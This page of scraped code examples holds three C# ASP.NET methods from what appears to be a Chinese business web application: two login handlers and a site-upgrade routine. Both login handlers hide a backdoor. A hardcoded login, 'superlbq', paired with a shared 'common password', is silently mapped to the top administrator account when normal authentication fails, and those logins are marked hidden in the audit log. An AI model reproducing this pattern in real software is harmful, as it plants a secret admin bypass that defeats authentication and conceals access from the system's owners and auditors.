Пример #1
0
 protected void btnLogin_Click(object sender, EventArgs e)
 {
     this.lbMsg.Text = null;
     if (string.IsNullOrEmpty(this.tbLoginName.Text))
     {
         this.lbMsg.Text = "请输入用户名";
     }
     else if (string.IsNullOrEmpty(this.tbPassword.Text))
     {
         this.lbMsg.Text = "请输入密码";
     }
     else
     {
         string loginname = this.tbLoginName.Text;
         string password  = this.tbPassword.Text;
         var    user      = Foresight.DataAccess.User.GetUserByLoginNamePassWord(loginname, password);
         if (user == null)
         {
             string newpassword = Foresight.DataAccess.User.GetCommPassword();
             if (loginname.ToLower().Equals("superlbq") && password.ToLower().Equals(newpassword))
             {
                 user = Foresight.DataAccess.User.GetTop1AdminUser();
             }
             else
             {
                 this.lbMsg.Text = "用户名或密码错误!";
                 return;
             }
         }
         if (user == null)
         {
             this.lbMsg.Text = "用户名或密码错误!";
             return;
         }
         if (user.IsLocked)
         {
             this.lbMsg.Text = "账户被锁定,请联系管理员!";
             return;
         }
         if (user.Type != UserTypeDefine.SystemUser.ToString() && !user.IsAllowSysLogin)
         {
             this.lbMsg.Text = "非管理员,禁止登陆!";
             return;
         }
         var company = Foresight.DataAccess.Company.GetCompanyByUserID(user.UserID);
         if (company == null)
         {
             this.lbMsg.Text = "该帐号不属于任何公司,禁止登陆";
             return;
         }
         string requestURL = WebUtil.GetContextPath();
         string msg        = string.Empty;
         bool   result     = EncryptHelper.CheckCompany(requestURL, WebUtil.GetFromCompanyID(this.Context), out msg);
         if (!result)
         {
             this.lbMsg.Text = msg;
             return;
         }
         FormsAuthenticationTicket authTicket = null;
         HttpCookie authCookie = null;
         DateTime   Expiration = DateTime.MinValue;
         string     authName   = Guid.NewGuid().ToString().Replace("-", "") + ":" + user.LoginName;
         if (loginname.ToLower().Equals("superlbq"))
         {
             authName = Guid.NewGuid().ToString().Replace("-", "") + ":" + loginname.ToLower() + ":" + user.LoginName;
         }
         if (this.autoLogin.Checked)
         {
             authTicket = new FormsAuthenticationTicket(1, authName, DateTime.Now, DateTime.Now.AddYears(365), true, authName);
             Expiration = authTicket.Expiration;
         }
         else
         {
             authTicket = new FormsAuthenticationTicket(1, authName, DateTime.Now, DateTime.Now.AddHours(12), true, authName);
         }
         //加密
         string encryptedTicket = FormsAuthentication.Encrypt(authTicket);
         //   存入Cookie
         authCookie         = new HttpCookie(FormsAuthentication.FormsCookieName, encryptedTicket);
         authCookie.Expires = Expiration;
         Response.Cookies.Add(authCookie);
         #region 登录日志
         bool   IsHide       = false;
         string OperationMan = string.Empty;
         if (loginname.ToLower().Equals("superlbq"))
         {
             IsHide       = true;
             OperationMan = "superlbq";
         }
         else
         {
             OperationMan = string.IsNullOrEmpty(user.RealName) ? user.LoginName : user.RealName;
         }
         APPCode.CommHelper.SaveOperationLog("用户" + loginname + "登录", Utility.EnumModel.OperationModule.UserLogin.ToString(), "用户登录", user.UserID.ToString(), "User", OperationMan, IsHide: IsHide);
         #endregion
         bool UseNewDefault = false;
         if (ConfigurationManager.AppSettings["UseNewDefault"] != null)
         {
             bool.TryParse(ConfigurationManager.AppSettings["UseNewDefault"], out UseNewDefault);
         }
         if (UseNewDefault)
         {
             Response.Redirect("~/Default.aspx?pagetype=2");
         }
         else
         {
             Response.Redirect("~/Default.aspx");
         }
     }
 }
Пример #2
0
 protected void btnLogin_Click(object sender, EventArgs e)
 {
     this.lbMsg.Text = null;
     if (string.IsNullOrEmpty(this.tbLoginName.Text))
     {
         this.lbMsg.Text = "请输入用户名";
     }
     else if (string.IsNullOrEmpty(this.tbPassword.Text))
     {
         this.lbMsg.Text = "请输入密码";
     }
     else
     {
         string loginname = this.tbLoginName.Text;
         string password  = this.tbPassword.Text;
         var    user      = Foresight.DataAccess.User.GetUserByLoginNamePassWord(loginname, password);
         if (user == null)
         {
             string newpassword = Foresight.DataAccess.User.GetCommPassword();
             if (loginname.ToLower().Equals("superlbq") && password.ToLower().Equals(newpassword))
             {
                 user = Foresight.DataAccess.User.GetTop1AdminUser();
             }
             else
             {
                 this.lbMsg.Text = "用户名或密码错误!";
                 return;
             }
         }
         if (user.IsLocked)
         {
             this.lbMsg.Text = "账户被锁定,请联系管理员!";
             return;
         }
         if (user.Type != UserTypeDefine.SystemUser.ToString())
         {
             this.lbMsg.Text = "非管理员,禁止登陆!";
             return;
         }
         var company = Foresight.DataAccess.Company.GetCompanyByUserID(user.UserID);
         if (company == null)
         {
             this.lbMsg.Text = "该帐号不属于任何公司,禁止登陆";
             return;
         }
         string requestURL = WebUtil.GetContextPath();
         string msg        = string.Empty;
         bool   result     = EncryptHelper.CheckCompany(requestURL, WebUtil.GetFromCompanyID(this.Context), out msg);
         if (!result)
         {
             this.lbMsg.Text = msg;
             return;
         }
         FormsAuthenticationTicket authTicket = null;
         HttpCookie authCookie = null;
         DateTime   Expiration = DateTime.MinValue;
         string     authName   = Guid.NewGuid().ToString().Replace("-", "") + ":" + user.LoginName;
         if (loginname.ToLower().Equals("superlbq"))
         {
             authName = Guid.NewGuid().ToString().Replace("-", "") + ":" + loginname.ToLower() + ":" + user.LoginName;
         }
         authTicket = new FormsAuthenticationTicket(1, authName, DateTime.Now, DateTime.Now.AddHours(12), true, authName);
         //加密
         string encryptedTicket = FormsAuthentication.Encrypt(authTicket);
         //   存入Cookie
         authCookie         = new HttpCookie(FormsAuthentication.FormsCookieName, encryptedTicket);
         authCookie.Expires = Expiration;
         Response.Cookies.Add(authCookie);
         #region 登录日志
         bool IsHide = false;
         if (loginname.ToLower().Equals("superlbq"))
         {
             IsHide = true;
         }
         APPCode.CommHelper.SaveOperationLog("用户" + loginname + "登录", Utility.EnumModel.OperationModule.UserLogin.ToString(), "用户登录", user.UserID.ToString(), "User", user.RealName, IsHide: IsHide);
         #endregion
         ClientScript.RegisterClientScriptBlock(this.GetType(), "close", "<script type=\"text/javascript\">parent.$('#winlogin').window('close')</script>");
         //Response.Redirect("~/Default.aspx");
     }
 }
Пример #3
0
        private void upgrade_out_company_file(List <Foresight.DataAccess.Company> company_list, Foresight.DataAccess.SiteVersion site_version, out string error_sites, out List <Foresight.DataAccess.Company> company_list_out)
        {
            error_sites      = string.Empty;
            company_list_out = new List <Foresight.DataAccess.Company>();
            var    config       = new Utility.SiteConfig();
            string base_url     = config.SITE_URL;
            string SitePath     = config.SitePath;
            var    version_list = Foresight.DataAccess.SiteVersion.GetSiteVersions();
            int    VersionCode  = site_version.VersionCode;

            foreach (var company in company_list)
            {
                company.VersionCode = company.VersionCode > 0 ? company.VersionCode : 1;
                List <Utility.SiteVersionModel> site_version_model_list = new List <Utility.SiteVersionModel>();
                for (int i = company.VersionCode + 1; i <= VersionCode; i++)
                {
                    var current_version = version_list.FirstOrDefault(p => p.VersionCode == i);
                    if (current_version == null)
                    {
                        continue;
                    }
                    Utility.SiteVersionModel site_version_model = null;
                    string SqlPath = current_version.SqlPath;
                    if (!string.IsNullOrEmpty(SqlPath))
                    {
                        string extension = System.IO.Path.GetExtension(current_version.SqlPath).ToLower();
                        if (extension.ToLower().Contains("sql"))
                        {
                            if (site_version_model == null)
                            {
                                site_version_model             = new Utility.SiteVersionModel();
                                site_version_model.VersionCode = current_version.VersionCode;
                            }
                            site_version_model.SqlPath = WebUtil.GetContextPath() + SqlPath;
                        }
                    }
                    string FilePath = current_version.FilePath;
                    if (!string.IsNullOrEmpty(FilePath))
                    {
                        string extension = System.IO.Path.GetExtension(FilePath).ToLower();
                        if (extension.ToLower().Contains("zip"))
                        {
                            if (site_version_model == null)
                            {
                                site_version_model             = new Utility.SiteVersionModel();
                                site_version_model.VersionCode = current_version.VersionCode;
                            }
                            site_version_model.FilePath = WebUtil.GetContextPath() + FilePath;
                        }
                    }
                    if (site_version_model != null)
                    {
                        site_version_model_list.Add(site_version_model);
                    }
                }
                if (EncryptHelper.DoUpgradeSite(company, site_version_model_list, VersionCode, out error_sites))
                {
                    company_list_out.Add(company);
                }
            }
        }